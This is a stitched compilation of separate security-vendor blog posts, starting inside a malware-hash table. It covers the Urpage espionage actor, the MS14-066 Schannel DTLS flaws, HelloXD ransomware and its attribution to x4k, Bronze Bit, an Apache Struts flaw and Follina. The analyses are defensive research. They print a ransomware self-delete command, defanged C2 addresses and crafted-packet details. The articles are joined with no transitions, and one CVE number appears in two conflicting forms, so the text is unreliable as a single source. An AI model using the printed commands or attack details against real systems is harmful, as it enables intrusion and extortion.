AvosLocker executable 05ba2df0033e3cd5b987d66b6de545df439d338a20165c0ba96cde8a74e463e5 Ransom.Win32.AVOSLOCKER.SMYXBLNT Mimikatz executable (x32 and x64) 912018ab3c6b16b39ee84f17745ff0c80a33cee241013ec35d0281e40c0658d9 HackTool.Win64.MIMIKATZ.ZTJA e81a8f8ad804c4d83869d7806a303ff04f31cce376c5df8aada2e9db2c1eeb98 HackTool.Win32.Mimikatz.CNFW Log4shell Nmap NSE script ddcb0e99f27e79d3536a15e0d51f7f33c38b2ae48677570f36f5e92863db5a96 Backdoor.Win32.CVE202144228.YACAH Impacket tool 14f0c4ce32821a7d25ea5e016ea26067d6615e3336c3baa854ea37a290a462a8 HackTool.Win32.Impacket.AA


Tags  Malware | Exploits & Vulnerabilities | Cyber Threats | APT & Targeted Attacks | Compliance & Risks | Endpoints | Ransomware | Network | Articles, News, Reports


In the process of monitoring changes in the threat landscape, we get a clearer insight into the way threat actors work behind the schemes.


In this case we dig deeper into the possible connection between cyberattacks by focusing on the similarities an unnamed threat actor shares with Confucius, Patchwork, and another threat actor called Bahamut.


For the sake of this report, we will call this unnamed threat actor “Urpage.”


What sets Urpage attacks apart is its targeting of InPage, a word processor for Urdu and Arabic languages.


However, its Delphi backdoor component, which it has in common with Confucius and Patchwork, and its apparent use of Bahamut-like malware, is what makes it more intriguing as it connects Urpage to these other known threats.


In our previous entry, we already covered the Delphi component in the context of the Confucius and Patchwork connection.


We mentioned Urpage as a third unnamed threat actor connected to the two.


This time, we look into Urpage to gain a deeper insight into the way several threat actors' actions intersect.


The Bahamut Link Fake websites


The link between Bahamut and Urpage can be best discussed by way of the multiple malicious Android samples that matched Bahamut's code and had C&C belonging to the Urpage infrastructure.


Some of these C&C websites also act as phishing sites that lure users into downloading these very applications.


The threat actor sets up these fake websites describing the application and linking to the Google Play Store to download it, like in the case of the malicious website, pikrpro[.]eu, seen below  Another sample website involved the use of a closely copied version of an existing website, with slight changes in the logo and options above the page.


The download links were also replaced to download the malicious Android application instead.


Figure 1.


Original (top) and modified (bottom) website


Upon writing this entry, we’ve coordinated with Google to ensure that the malicious applications these C&C sites advertise are no longer available for download on the Google Play Store.


It is important to note however, that not all C&C websites for Urpage advertise malicious applications.


Some simply contain a random template with empty categories, likely as a ploy to hide its malicious activities.


Android targeting


As with Bahamut applications, once downloaded and executed, it showed multiple malicious features that deal with stealing information.


Some of these features are listed below.


Retrieves basic information like network information and MAC address from an infected phone SMS stealing Contacts stealing Audio recording GPS location retrieval Steals files with the specific extensions, although not all samples target these extensions.


File type File extensions Document files .txt, .csv, .doc, .docx, .xls, .xlsx, .pdf WhatsApp databases .db.crypt5 to .db.crypt12 Geolocation related files .kml, .kmz,  .gmx, .aqm Audio files .mp3, .opus Videos .mp4, .amr, .wmv, .3gp, Pictures .jpeg, .jpg


Of note is one specific application that had a different purpose from the others.


This application has the same encryption routine as other Urpage applications.


Instead of stealing documents or images, it works on top of a modified version of the legitimate Threema, an end-to-end encrypted messaging application, to steal screenshots of messages.


This application has the same icon and label as the legitimate Threema.


Once launched, it drops a modified APK version of Threema and prompts the user to install the application.


The malicious application then hides its icon on the device but still runs in the background, while the modified Threema works like normal.


Unknown to the user, the code in the modified Threema allows it to take screenshots of itself every 10 seconds.


These images are stored in the location/sdcard/Android/data/ch.threema.app/DataData directory, while the “dropper” or the malicious application working in the background uploads the images to the C&C for the threat actor to access.


Figure 2. Comparison of legitimate Threema code (left) to the modified version (right) with the inserted code


Other activities


Aside from acting as a C&C and distributing Bahamut-like malware, some of these websites also serve as the host for other malicious documents.


These other activities further establish the link of Urpage — and consequently Bahamut — to other threat actors.


Take, for example, the previously mentioned pikrpro[.]eu.


This C&C website also acts as host not only for the malicious Android application but also for two other malicious documents listed here.


A malicious RTF file that exploits the CVE-2017-8750 and drops a malicious VB backdoor with C&C appswonder[.]info A malicious InPage file that exploits CVE-2017-12824 and drops two files, one non-malicious, and one malicious VB backdoor with C&C referfile[.]com  Talos recently reported both C&C domain names with one type of campaign that targets iOS and involves MDM, and another type using VB and Delphi backdoors.


This leads us back to the Confucius and Patchwork link.


The Confucius Link


In our previous entry, we already discussed how Confucius used the same Delphi file stealer as Urpage.


Digging into Urpage, we found another link—two malicious RTF files that exploit different vulnerabilities but download a similar script (detected as TROJ_POWLOAD.GAA) containing two base64-encoded URLs.


One of the URLs is for the decoy document, while the other one is for the payload.


One of the RTF files was found in a server related to Confucius (f1a54dca2fdfe59ec3f537148460364fb5d046c9b4e7db5fc819a9732ae0e063, detected as TROJ_CVE201711882.AG), while the other one (434d34c0502910c562f5c6840694737a2c82a8c44004fa58c7c457b08aac17bd,detected as Mal_CVE20170199-2) downloaded a VB Backdoor that pings back to twitck[.]com, a domain name belonging to Urpage.


The Patchwork Link Patchwork also uses the Delphi file stealer as a similarity with Urpage, which suggests the three groups are somehow related.


But this link is further fortified by the Android applications we found whose code is like that of Bahamut, with the C&C matching the usual name registration pattern of Patchwork’s group, as well as an infrastructure close to an old Patchwork domain.


Patchwork has also recently employed Android malware in its attacks, with its use of a customized version of AndroRAT.


Summary


The many similarities and connections show that threat actors do not work in isolation, and that attacks do not necessarily appear from out of nowhere.


This may even suggest that a single development team may be behind this attack — maybe a single paid group that has sold its tools and services to other groups with different goals and targets.


We’ve summarized all the mentioned findings in the table below.


Urpage Bahamut Confucius Patchwork "BioData" Delphi backdoor and file stealer X   X X VB backdoor X       Android "Bahamut-like" malware X X   X Custom Android malware     X   AndroRAT Android malware       X InPage malicious documents X   X   simply obfuscated HTA downloaders X   X   IOS malware X       Confucius malware     X   remote-access-c3 backdoor     X   Sneepy/Byebye shell malware     X   Python cloud filestealers     X   AllaKore RAT     X   Badnews malware       X QuasarRAT       X NDiskMonitor malware       X   Targets


We did not find Urpage victims in our telemetry, likely because of the targeted nature of these attacks.


However, the domains used by Urpage provided hints about its target.


For one, there is the domain pikrpro[.]eu and its subdomains—the islamicfinderfeedback[.]pikrpro[.]eu and the memrifilesforinfo[.]pikpro[.]eu.


Additionally, many of the files related to the Urpage domains are auto-extractable files that drop Delphi or VB backdoor and open a decoy document.


The decoy documents tell more about Urpage's possible targets, as it contains text from articles about the region of Kashmir.


The header for a sample document can be seen below.


The documents can also be image files with the same theme, as can be seen here.  Multiple Android applications further drive this notion, as they provide services based on the interests of users in that region.


They have a malicious application that provides services for religion, as well as popular sports in the region.


Figure 3. Malicious application for observing Ramadan  Figure 4.


Malicious application for cricket news Solutions and Mitigation Taking note of these similarities and connections can help organizations and users in their continued defense against Urpage, Bahamut, Confucius, and Patchwork.


The connection of Urpage to the other three threat actors demonstrate that cyberattacks don’t exist in silos and that it hints at a circulation of knowledge and technologies that help in the continuing evolution of different malicious campaigns.


Given this knowledge, organizations must be more vigilant in monitoring threats, as changes in one may mean that changes in others could follow.


Organizations can develop defenses against the social engineering component these four threat actors have in common.


Users should be able to identify the indicators of a social engineering campaign.


Paying close attention to the domain name of a website before performing any further action can also help mitigate threats, including threats like Urpage that have targeted victims.


As an additional defense against the growing use of malicious mobile applications, enterprises and end users can benefit from multilayered mobile security solutions such as Trend Micro™ Mobile Security for Android™ which is also available on Google Play.


Trend Micro’s Mobile App Reputation Service (MARS) covers Android and iOS threats using leading sandbox and machine learning technologies.


It can protect users against malware, zero-day and known exploits, privacy leaks, and application vulnerability.


For organizations, Trend Micro™ Mobile Security for Enterprise provides device, compliance and application management, data protection, and configuration provisioning.


It also protects devices from attacks that leverage vulnerabilities, preventing unauthorized access to apps, as well as detecting and blocking malware and fraudulent websites.


The Trend Micro™ Deep Discovery™ threat protection platform enables organizations to detect, analyze, and respond to modern threats such as sophisticated malware, targeted attacks, and APTs.


Trend Micro™ Smart Protection for Endpoints with Maximum XGen™ security infuses high-fidelity machine learning into a blend of threat protection techniques to eliminate security gaps across user activity and any endpoint, offering the broadest possible protection against advanced attacks.


This appendix contains the latest Indicators of Compromise (IOCs) related to the different groups.        Tags  Mobile | APT & Targeted Attacks | Research


Microsoft recently released a patch for a critical vulnerability in Microsoft Secure Channel (aka Schannel).


This vulnerability is being referred to as MS14-066.


The patch addressing CVE-2014-6321 fixed many areas within schannel.dll, including at least two vulnerabilities related to the handling of the Datagram Transport Layer Security (DTLS) protocol.


DTLS is used by Microsoft Remote Desktop Protocol (RDP) to provide communications privacy for datagram protocols.


The DTLS protocol is used by Microsoft Windows Remote Desktop Gateway (RDG) to establish a secure channel between the RDG client and RDG server (described in detail in [MS_TSGU].pdf).  The RDG client initiates the DTLS connection by sending a ClientHello to the RDG Server.  The RDG server then responds with a DTLS Hello Verify Request that contains a cookie; this is used as a denial of service countermeasure.


The RDG client responds once again with a Client Hello packet containing the received cookie, which will initiate the DTLS handshake (RFC6347 Section 4.2).   Figure 1: Initiation of the DTLS handshake between RDG client and server  Figure 2: RDG client and server handshake phase (Source: [MS-TSGU] Section 1.3.3.1.1)


Before starting analysis, we needed to set up a test environment.


For the RDG server we referred to the following walkthrough: http://terrytlslau.tls1.cc/2014/01/deploying-remote-desktop-gateway-in.html.


Now let’s explore these vulnerabilities.


When a client sends the DTLS ClientHello packet to the server, the server computes a Message Authentication Code (MAC) on it and compares it to the cookie contained in the packet.


But the server only checks the cookie length field, not whether the cookie buffer can be read.


In fact, a 32 byte length is always read, which could lead to a buffer out-of-bounds condition.


It should be noted that a client could send a crafted packet to the server without needing to start an RDP session.


Figure 3, below, shows a packet crafted to display a “Cookie Length” of 32 (32 is equivalent to 0x20 in hexadecimal), which does not match the actual amount of data in the cookie (shown containing only two 0x41 characters).


Figure 3: A crafted packet sending mismatched size and content  Related code is found in the DTLSCookieManager::ValidateCookie function:  As shown above, although the server checks the “CookieSize” field, the compared length is always *(_DWORD *)(mgr + 16)), whose value is 0x20; however, the real cookie buffer length could be less than 0x20.


A crafted packet could set the “CookieSize” field to 0x20 and have the actual cookie buffer contain less than 0x20 bytes of data.  When a DTLS client receives a HelloVerifyRequest packet with a CookieSize larger than 32 bytes the client does not properly validate the CookieSize value against the amount of cookie data in the packet.


This scenario can result in a heap overflow.


It should be noted that if you want modify the “CookieSize“ value, you should modify the other length fields to keep the packet structure valid, as shown below in Figure 4.


Figure 4: An example of a properly modified DTLS packet cookie


We can see the first packet is a normal ClientHello sent by the client, and the second packet is a crafted packet sent by the server.  In order to examine exploitation of this vulnerability, we used WinDBG to attach to the lsass.exe process.


Below, Figure 5 shows what the call stack looks like when the process crashes.


Figure 5: WinDBG view of call stack when lsass.exe process crashes due to exploitation  Vulnerable code is found in the CSsl3TlsClientContext::DigestServerHelloVerifyRequest function:  Palo Alto Networks is releasing signature 37094 and 37059 to defend against these vulnerabilities.


Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!


Please mark, I'm not a robot!


By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.


This post is also available in:      日本語 (Japanese)  HelloXD is a ransomware family performing double extortion attacks that surfaced in November 2021.


During our research we observed multiple variants impacting Windows and Linux systems.


Unlike other ransomware groups, this ransomware family doesn’t have an active leak site; instead it prefers to direct the impacted victim to negotiations through TOX chat and onion-based messenger instances.


Unit 42 performed an in-depth analysis of the ransomware samples, the obfuscation and execution from this ransomware family, which contains very similar core functionality to the leaked Babuk/Babyk source code.


It was also observed that one of the samples deployed MicroBackdoor, an open-source backdoor allowing an attacker to browse the file system, upload and download files, execute commands, and remove itself from the system.


We believe this was likely done to monitor the progress of the ransomware and maintain an additional foothold in compromised systems.


During the analysis of the MicroBackdoor sample, Unit 42 observed the configuration and found an embedded IP address, belonging to a threat actor we believe is potentially the developer: x4k, also known as L4ckyguy, unKn0wn, unk0w, _unkn0wn and x4kme.


Unit 42 has observed x4k in various hacking and non-hacking forums, which has linked the threat actor to additional malicious activity such as:  Palo Alto Networks detects and prevents HelloXD and adjacent x4k activity with the following products and services: Cortex XDR and Next-Generation Firewalls (including cloud-delivered security subscriptions such as WildFire).


Due to the surge of this malicious activity, we’ve created this threat assessment for overall awareness.


HelloXD Malware Overview Packer Analyses Ransomware Internals WTFBBQ Pivots Hunting for Ransomware Attribution Conclusion Indicators of Compromise


Additional Resources


HelloXD is a ransomware family first observed in the wild on Nov. 30, 2021.


This ransomware family uses a modified ClamAV logo in their executables.


ClamAV is an open-source antivirus engine used to detect malware.


We also have observed additional samples with different versions of the logo, which led us to believe the ransomware developer may like using the ClamAV branding for their ransomware.


Additionally, some of the observed samples include properties information that can be observed in Figure 1.


The file description included the entry VlahmAV, a play on words on ClamAV, and the developer named the ransomware HelloXD and used another potential alias, uKnow, as the developer of HelloXD in the copyright section.


When executed, HelloXD tries to disable shadow copies to inhibit system recovery before encrypting files using the following commands embedded in the sample:  Additionally the ransomware does a ping to 1.1.1[.]1 and asks to wait a timeout of 3000 milliseconds between each reply, quickly followed with a delete command to delete the initial payload.


cmd.exe /C ping 1.1.1[.]1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\admin\Desktop\xd.exe"


Two of the initial set of samples identified create a unique mutex containing the following message:


After those commands are executed, the ransomware finishes by appending the file extension .hello, alongside a ransom note titled Hello.txt (Figure 2).


The ransom note was modified between the observed samples.


In the first sample we encountered (Figure 3, left), the ransom note only linked to a TOX ID, whereas a later observed sample (Figure 3, right) links to an onion domain as well as a TOX ID (different from the one in the first version).


At the time of writing, this site is down.


The ransomware creates an ID for the victim which has to be sent to the threat actor to make it possible to identify the victim and provide a decryptor.


The ransom note also instructs victims to download Tox and provides a Tox Chat ID to reach the threat actor.


Tox is a peer-to-peer instant messaging protocol that offers end-to-end encryption and has been observed being used by other ransomware groups for negotiations.


For example, LockBit 2.0 leverages Tox Chat for threat actor communications.


When observing both variants executing on virtual environments, we noted that the more recent variants changed the background to a ghost – a theme we’ve noticed in this threat actor’s work since our earliest observations of it.


However, the previous version didn’t change the background at all – it simply left the ransom note we observed previously (Figure 4).  During analysis and threat intel gathering, we discovered two main packers used for HelloXD ransomware binaries, as well as for other malware samples linked to the potential author (Figure 5).


The first type of packer is a modified version of UPX.


The code is extremely similar between UPX-packed binaries and the custom packer, however the custom packer avoids using identifiable section names such as .UPX0 and .UPX1, and leaves the default .text, .data, and .rsrc names unchanged.


There are also no magic bytes within the packed payload, unlike UPX-packed binaries, which contain the magic bytes UPX!.


However, a dead giveaway that the sample is packed is the raw size of the .text section, which is zeroed out, while the virtual size is much larger, as expected; this is identical to a .UPX0 section.


As there is no data within the .text section on disk, the entry point of the unpacking stub is within the .data section, which will unpack the malicious code into the .text section on runtime.


All of these details point toward the threat actor having modified or copied certain elements from the UPX packer, which can be further confirmed by comparing a UPX-packed binary with a custom-packed HelloXD binary.


The second packer we discovered consists of two layers, with the second being the custom UPX packer discussed above.


This particular packer seems to be more common on x64 binaries and involves decrypting embedded blobs using a seemingly custom algorithm containing unconventional instructions such as XLAT (Figure 6).  Aside from storing the encrypted second layer, there is little to no obfuscation within the packer; API calls such as VirtualAlloc and VirtualProtect are clearly visible, and there is no control flow obfuscation.


We have observed two different samples of the HelloXD ransomware publicly available, indicating it is still under development by the author(s).


The first sample is fairly rudimentary, with minimal obfuscation and typically paired with an obfuscated loader responsible for decrypting it through the use of the WinCrypt API before injecting it into memory.


The second sample, on the other hand, is far more obfuscated, and is executed in memory by a packer rather than a full-scale loader.


While the obfuscation and execution may differ between the two, both samples contain very similar core functionality, due to the author copying the leaked Babuk/Babyk source code in order to develop the HelloXD ransomware (Figure 7).


As a result, a lot of the function structure overlaps with Babuk, after getting past the obfuscation.


Table 1. Ransomware sample comparison summary.


While there is a lot of overlap between HelloXD and Babuk, there are some small but crucial differences to take note of between Babuk and the two different variants.  HelloXD version 1 is the least modified, utilizing Curve25519-Donna and a modified HC-128 algorithm to encrypt file data, while also containing the same CRC hashing routine incorporating the string dong, possibly referencing Chuong Dong, who had previously analyzed and reported on the first version of Babuk (Figure 8).


The HelloXD author(s) did modify the infamous file marker and mutex however, opting for dxunmgqehhehyrhtxywuhwrvzxqrcblo as the file marker and With best wishes And good intentions… as the mutex (Figure 9).


With HelloXD version 2, the author(s) opted to alter the encryption routine, swapping out the modified HC-128 algorithm with the Rabbit symmetric cipher.


Additionally, the file marker changed again, this time to what seems to be random bytes rather than a coherent string.


The mutex is also modified, set to nqldslhumipyuzjnatqucmuycqkxjon in one of the samples (Figure 10).


Both versions have been compiled with the same compiler (believed to be GCC 3.x and above based on the mangling of export names), resulting in very similar exports between not only the ransomware variants, but also other malware that we have linked to the potential author (Figure 11).  The biggest difference between the versions is the interesting addition of a secondary payload embedded within version 2.


This payload is encrypted using the WinCrypt API, in the same fashion as the obfuscated loader discussed above.


Once decrypted, the payload is dropped to System32 with the name userlogin.exe before a service is created that points to it.


userlogin.exe is then executed (Figure 12).


What is peculiar about this file is it is a variant of the open-source MicroBackdoor, a backdoor allowing an attacker to browse the file system, upload and download files, execute commands and remove itself from the system (Figure 13).


As the threat actor would normally have a foothold into the network prior to ransomware deployment, it raises the question of why this backdoor is part of the ransomware execution.


One possibility is that it is used to monitor ransomed systems for blue team and incident response (IR) activity, though even in that case it is unusual to see offensive tools dropped at this point in the infection.


While analyzing the ransomware binaries, we discovered a unique string prevalent in almost all of the samples: :wtfbbq (stored as UTF-16LE).


Querying VirusTotal with this string led to the discovery of eight files, six of which could be directly attributed to x4k through their own VirusTotal graph mapping out their infrastructure.


The discovered samples are primarily Cobalt Strike Beacons, utilizing heavy control flow obfuscation – unlike the HelloXD ransomware samples we had previously seen.


Unfortunately, this specific string is not completely unique to x4k, and is instead found on several GitHub repositories as part of a technique to allow a running executable to delete itself from disk through renaming primary data streams within the file to :wtfbbq.


Running a search for the non-UTF-16LE string results in multiple files, and filtering for executables yields 10 results, the majority of which are NIM-based binaries – potentially linked to this GitHub repository.


While the :wtfbbq string is not unique to x4k, by searching for the UTF-16LE version found inside the analyzed HelloXD ransomware samples, we only came across binaries linked to x4k’s infrastructure, providing a fairly strong link between HelloXD and x4k.


The backdoor provided extremely useful insight into the potential threat actor behind the ransomware, as it had the following hardcoded IP address to use as the command and control (C2): 193[.]242[.]145[.]158.


Upon navigating to this IP address, we observed an email address – tebya@poime[.]li – on the page title, the first link in the chain of attribution (Figure 14).  Using the email address as a pivot, we identified additional domains that were linked to tebya@poime[.]li.


Table 2.


Domains linked to tebya@poime.li  Some of them historically resolved to some malicious IPs, which led us to discover additional infrastructure and malware being hosted in other domains (Table 3).


Many of these also use the x4k name in the domain.


Table 3. PDNS of 164[.]68[.]114[.]29 and 167[.]86[.]87[.]27  When looking at this infrastructure on VirusTotal, we observed that some of the domains we found were part of a VirusTotal graph called a.y.e/ created by the user x4k on June 30, 2021.


On this graph, we found his infrastructure mapped out and malicious files that were also linked to the domains.


This, however, was not the only graph we observed x4k creating.


We also encountered additional graphs, mapping different things such as “Russian Hosts,” “DDoS Guard” and others, dating back to August 10, 2020 (Figure 15).


Additionally, we observed the initial email being linked to a GitHub account (Figure 16), as well as various forums including XSS, a known Russian-speaking hacking forum created to share knowledge about exploits, vulnerabilities, malware and network penetration.


From the GitHub page, we also observed a URL to a site – xn--90a5ai[.]com(фсб[.]com) – resolving to the previously mentioned IP 164[.]68[.]114[.]29, which at this point in time only shows an animation of interconnecting points.


That being said, when looking at the HTML source code of the site, we discovered a couple of references to the user observed before – x4kme – and other aliases such as uKn0wn, which was observed in the HelloXD ransomware samples.


Figure 17. Snippet of Script in HTML Source Code xn--90a5ai[.]comFrom the list of aliases used by the threat actor


, we were able to observe another GitHub account with the name l4ckyguy, sharing the profile picture, location and URL in the description, with a link to the previously observed account (x4kme), and a name, Ivan Topor, which we believe may be another alias for this threat actor.


A further account, l4cky-control, was also discovered.


This repository contained a Python script that would decrypt a secondary Python script which reached out to the IP 167[.]86[.]87[.]27 to download and execute another Python script.


This particular IP was linked to a Contabo server that x4k had also included within their VirusTotal graph discussed above.


We also found a YouTube account linked to the actor through the initial email tebya@poime[.]li, using another alias, Vanya Topor.


It’s worth pointing out that “Vanya” is a diminutive for Ivan.


The YouTube account has no public videos, but we observed this threat actor sharing unlisted links in various hacking forums.


The content of the videos were tutorials and walkthroughs, where the threat actor showed his methodology of performing certain actions, depending on the video.


The videos had no sound, but the threat actor would type commentary on a terminal to address something the viewer was observing on screen.


The videos found gave us insight into x4k operations before moving into ransomware activity specifically.


We learned how this threat actor leverages Cobalt Strike for his operations, including how to set up Beacons as well as how to send files to compromised systems.


In one of the videos, we actually observed the threat actor performing a DNS leak test on his Android phone.


We also got to observe how the domain фсб[.]com used to look in October 2020 – a blog of sorts titled “Ghost in the Wire.”


Where the threat actor keeps alluding to his “Ghost” theme, a similar theme was observed in the HelloXD ransomware samples (Figure 19).


In another video instance, we observed the threat actor submit a LockBit 2.0 sample on Cuckoo sandbox and compare the results with another presumably LockBit 2.0 sample prior to the one submitted in the video.


At the time of writing, we don’t believe x4k is related to LockBit 2.0 activity, but we did find the choice of this particular ransomware family interesting (Figure 20).


We also noticed this threat actor leveraging the use of other sandboxes besides Cuckoo – such as ANY.RUN and Hybrid Analysis – to test out verdicts and tooling, alongside the use of various virtual machines.


Additionally, this threat actor not only leverages open-source tooling, but also develops his own tools and scripts.


We were able to see this threat actor demonstrating some of his tools performing automated actions in his videos, such as obfuscating files, creating executables and code signing (Figure 21).


Taking a closer look at x4k’s main OS, we believe it to be a customized Kali Linux instance, tailored to his needs.


Most of his videos, comments, configurations and tutorials are written in Russian – and when combined with knowledge gained from a few OPSEC mistakes – Russia is also where we believe x4k originates from.


Additionally, we encountered the ClamAV logo during one of the threat actor walkthrough videos – the same logo used on the HelloXD ransomware samples (Figure 22).


This time around, x4k is using the logo as the start menu for his OS enviorment.


On the same taskbar, we also noticed the Telegram icon, which is a very popular messaging app for chatting – but is also used by threat actors such as LAPSUS$ to post news into specific channels.


Using his username and alias and pivot, we were able to identify two Telegram accounts sharing the same picture as observed before, and descriptions pointing to the threat actor’s main site фсб[.]com.


We noticed that the x4k Telegram account is used actively versus the old account – which, according to Telegram, hasn’t been active in a while (Figure 23).


x4k has a very solid online presence, which has enabled us to uncover much of his activity in these last two years.


This threat actor has done little to hide malicious activity, and is probably going to continue this behavior.


Unit 42 research encountered HelloXD, a ransomware family in its initial stages – but already intending to impact organizations.


While the ransomware functionality is nothing new, during our research, following the lines, we found out the ransomware is most likely developed by a threat actor named x4k.


Unit 42 was able to uncover additional x4k activity being linked to malicious infrastructure, and additional malware besides the initial ransomware sample, going back to 2020.


Ransomware is a lucrative operation if done correctly.


Unit 42 has observed ransom demands and average payments going up in the latest Ransomware Threat Report.


Unit 42 believes that x4k, this threat actor, is now expanding into the ransomware business to capitalize on some of the gains other ransomware groups are making.


Palo Alto Networks detects and prevents HelloXD and x4k activity in the following ways:  If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:


Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance members.


CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors.


Learn more about the Cyber Threat Alliance.


Please mark, I'm not a robot!


By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.


This post is also available in:      日本語 (Japanese)  A recent vulnerability in the Kerberos authentication protocol, CVE-2020-17049 (dubbed Bronze Bit), has been disclosed by Microsoft.


The vulnerability is in the way that the Key Distribution Center (KDC) handles service tickets and validates whether delegation is allowed.


In the attack, as detailed in the Palo Alto Networks Security Operations blog, “Protecting Against the Bronze Bit Vulnerability with Cortex XDR,” the attacker tampers with the Kerberos service ticket, which allows the attacker to authenticate to the target as any user, including sensitive accounts and members of the “Protected Users” group.


The vulnerability was patched by Microsoft, and the patch will be gradually deployed with upcoming Windows updates.


Microsoft aims to enforce using the patch only on or after May 11, 2021.


Palo Alto Network customers running Cortex XDR version 7.3 with the latest content update are protected from “Pass-the-Ticket” attacks using the standard Windows API.


Customers running Cortex XDR Pro with analytics enabled will get alerted on related suspicious activities and specifically on a delegation from or to a protected user.  Palo Alto Networks will update this Threat Brief with new information and recommendations as they become available.


Sign up to receive the latest news, cyber threat intelligence and research from us


Please enter your email address!


Please mark, I'm not a robot!  By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.


Situation Overview


On August 22, 2018, the Apache Foundation released a critical security update for CVE-2018-1176, a remote code execution vulnerability affecting Apache Struts versions 2.3 to 2.3.34 and 2.5 to 2.5.16.


The Apache Foundation has urged everyone to apply the security updates as soon as possible.


This blog is to provide information to help organizations assess their risk of the vulnerability and to inform Palo Alto Networks customers of protections in place that can help mitigate their risk until they can apply the security updates.


Palo Alto Networks customers who have deployed the latest vulnerability signatures released on August 24, 2018, are protected.


Vulnerability Information


According to both the Apache Foundation and security researcher Man Yue Mo, this vulnerability can enable remote code execution on a server running a vulnerable version of Apache Struts.


The method of attack would be through a specially crafted URL sent to the vulnerable system.


In most cases, this means no authentication is required to exploit the vulnerability.


A successful attack would run code in the security context that Struts is using.


In some cases, this could effectively lead to a total compromise of the system.


It’s important to note, however, that the vulnerability is not exploitable in default configurations.


The following two conditions must both be met for a system to be vulnerable to attack:  If your Struts application does not meet both of these conditions, your application may still be vulnerable but not (currently) exploitable via CVE-2018-11776.


In particular, if your application uses the popular Struts Convention plugin, it appears to potentially increase your risk of exploitability vis-à-vis other Struts implementations that do not use that plugin.


Threat Environment Information


The vulnerability was disclosed on August 22 in conjunction with security updates that address it.


There is detailed information about the vulnerability and how to exploit it available currently.


There is also proof of concept (PoC) code available already.


As noted above, the PoC works only against systems that are vulnerable and meet both conditions for exploitability.


Some have noted that a previous critical Struts vulnerability was actively attacked last year only three days after the release of the security update and vulnerability information.


There are no known active attacks at this time and the current requirement that two, non-default conditions need to be met for the vulnerability to be exploitable makes for a different threat environment.


However with active PoC available we can expect at the minimum probing, if not active exploitation of this vulnerability in the near term.


Organizations should focus their risk assessments for possible attack until they can patch on four things:  Guidance and Protections for Palo Alto Networks Customers


All organizations running vulnerable versions of Apache Struts should deploy the security updates as soon as possible.


Organizations can and should prioritize scheduling and deployment of the security updates based on their security policy and risk assessment, and  on currently available information.


Palo Alto Networks customers who have deployed vulnerability signatures in content release version 8057 released on August 24, 2018, which include ID 33948 Name: Apache Struts 2 Remote Code Execution Vulnerability, are protected against currently known exploits against that vulnerability.


Our customers should still deploy the security update as recommended above, but can and should deploy the latest vulnerability signature immediate for additional protection.


With this addition protection available, our customers can and should include that as part of their decisions around security and deployment of the security updates and their risk assessment of the vulnerability and threat environment.


As always, we are monitoring the situation closely and will provide additional details as they become available.  Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!  Please mark, I'm not a robot!  By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.


This post is also available in:      日本語 (Japanese)


On May 27, 2022, details began to emerge of malicious Word documents leveraging remote templates to execute PowerShell via the ms-msdt Office URL protocol.


The use of this technique appeared to allow attackers to bypass local Office macro policies to execute code within the context of Word.


Microsoft has since released protection guidance and assigned CVE-2022-30190 to this vulnerability.


Due to the amount of publicly available information, ease of use, and the extreme effectiveness of this exploit, Palo Alto Networks is providing this threat brief to make our customers aware of this critical vulnerability and the options available to ensure proper protections are put into place until a patch can be issued by Microsoft.  The vulnerability enables remote code execution with the same privileges as the calling application and there are proof-of-concept examples of zero-click variants.


Therefore, exploits for this vulnerability have potential to be of high impact.


We highly recommend following Microsoft’s guidance to protect your enterprise until a patch is issued to fix the problem.


All known samples and URLs associated with this attack have been flagged in the Palo Alto Networks product suite so customers can receive protections.  Attack Details for CVE-2022-30190 CVE-2022-30190 in the Wild Conclusion  On May 27, 2022, a cybersecurity research team out of Tokyo, Japan, nao_sec, uncovered a malicious Word document uploaded to VirusTotal from an IP in Belarus.


The document was abusing the Microsoft Word remote template feature to retrieve a malicious HTML file that subsequently used the ms-msdt Office URI scheme to execute PowerShell within the context of Word.


On May 30, Keven Beaumont wrote an article detailing the specifics of the initial incident.


The important thing to note here is that the decoy Word document had nothing inherently malicious outside of the link to the template hosted at hxxp://xmlformats[.]com, allowing it to bypass EDR solutions.


The HTML code from the remote template is shown in Figure 1 below.


The JavaScript embedded within the HTML uses the ms-msdt schema to invoke the PCWDiagnostic pack, to reference the IT_BrowseForFile to execute the base64-encoded PowerShell Invoke-Expression command.  The base64-decoded text within the PowerShell Invoke-Expression is shown in Figure 2 below.


This code does a few things.


First it kills the msdt.exe process.


Then the code loops through the files within a .rar archive looking for a CAB file (TVNDRgAAAA base64 decodes to MSCF, which is the magic header of a CAB file).


It then stores it in a file called 1.t. 1.t, which gets base64 decoded to 1.c, expanded to rgb.exe and then finally executed.


None of the reports we’ve seen have recovered the final payload.


Therefore, the contents are unknown.


The use of remote templates to deliver malicious documents is not new, however, historically they’ve been used to host .docm or dotm (macro-enabled Word documents), which would still be affected by the local systems’s Word macro policy.


Therefore, the vulnerability of particular note in this attack lies in calling the Microsoft Support Diagnostic Tool (MSDT) using the ms-msdt URL Protocol within Word via the remotely loaded template file.


This allows execution of code within the context of Microsoft Word, even if macros are disabled.


Protected View was triggered during execution of the nao_sec example, however, John Hammond demonstrated you can bypass Protected View by using an RTF file instead.


This allows the attack to succeed even if the user simply views the file in the preview pane – with no clicks on the document necessary – making the attack much more dangerous.


Microsoft has since released protection guidance and assigned CVE-2022-30190 to this vulnerability.


They provided a workaround to disable the MSDT URL protocol, however, this may break other diagnostic tools that rely on the MSDT URL protocol to operate.


They also recommend ensuring cloud-delivered protections and automatic sample submission for Microsoft Defender are enabled.


Microsoft recommends that customers of Microsoft Defender for Endpoint enable the attack surface reduction rule BlockOfficeCreateProcessRule.


So far, Palo Alto Networks is only seeing indications of testing within our customer telemetry indicated by final payload execution of benign executables such as calc.exe and notepad.exe.


Palo Alto Networks and Unit 42 will continue to monitor for evidence of exploitation and further novel use cases.


